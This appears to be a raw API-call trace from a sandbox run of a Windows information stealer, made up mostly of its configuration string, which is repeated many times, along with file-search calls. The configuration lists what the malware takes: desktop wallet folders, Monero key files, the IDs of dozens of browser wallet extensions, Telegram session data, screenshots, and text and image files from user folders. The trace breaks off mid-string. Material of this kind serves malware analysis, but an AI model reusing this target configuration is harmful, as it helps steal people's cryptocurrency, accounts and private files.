Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.280] lstrlenW (lpString="green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3926 [0266.280] LocalAlloc (uFlags=0x40, uBytes=0x1f2c) returned 0x6f4830 [0266.280] StrCpyW (in: psz1=0x6ef5a0, psz2="*" | out: psz1="*") returned="*" [0266.280] LocalFree (hMem=0x6f4830) returned 0x0 [0266.280] StrStrW (lpFirst="cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.281] lstrlenW (lpString="green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3926 [0266.281] LocalAlloc (uFlags=0x40, uBytes=0x1f2c) returned 0x6f4830 [0266.281] StrCpyW (in: psz1=0x6f1ee8, psz2="cache,gdk,*logs*" | out: psz1="cache,gdk,*logs*") returned="cache,gdk,*logs*" [0266.281] LocalFree (hMem=0x6f4830) returned 0x0 [0266.281] StrToIntW (lpSrc="28") returned 28 [0266.281] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6bf278 [0266.281] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6bf278, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 1 [0266.281] PathCombineW (in: pszDest=0x6bf278, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Local", pszFile="Blockstream\\Green" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Local\\Blockstream\\Green") returned="C:\\Users\\kEecfMwgj\\AppData\\Local\\Blockstream\\Green" [0266.281] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f4830 [0266.281] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x706200 [0266.281] StrCpyW (in: psz1=0x706200, psz2="C:\\Users\\kEecfMwgj\\AppData\\Local\\Blockstream\\Green" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Local\\Blockstream\\Green") returned="C:\\Users\\kEecfMwgj\\AppData\\Local\\Blockstream\\Green" [0266.281] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Blockstream\\Green\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\blockstream\\green\\*"), lpFindFileData=0x24f880 | out: lpFindFileData=0x24f880*(dwFileAttributes=0x6e244c, ftCreationTime.dwLowDateTime=0x751dc35e, ftCreationTime.dwHighDateTime=0x6bf278, ftLastAccessTime.dwLowDateTime=0x21, ftLastAccessTime.dwHighDateTime=0x24f89c, ftLastWriteTime.dwLowDateTime=0xe3, ftLastWriteTime.dwHighDateTime=0x24f8de, nFileSizeHigh=0x3a0043, nFileSizeLow=0x55005c, dwReserved0=0x650073, dwReserved1=0x730072, cFileName="\\kEecfMwgj\\AppData\\Local\\Blockstream\\GreenЁ", cAlternateFileName="kk")) returned 0xffffffff [0266.282] LocalFree (hMem=0x6f4830) returned 0x0 [0266.282] LocalFree (hMem=0x6bf278) returned 0x0 [0266.283] LocalFree (hMem=0x6fe628) returned 0x0 [0266.283] LocalFree (hMem=0x700f70) returned 0x0 [0266.284] LocalFree (hMem=0x7038b8) returned 0x0 [0266.285] LocalFree (hMem=0x6ef5a0) returned 0x0 [0266.285] LocalFree (hMem=0x6f1ee8) returned 0x0 [0266.286] StrStrW (lpFirst="wlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension 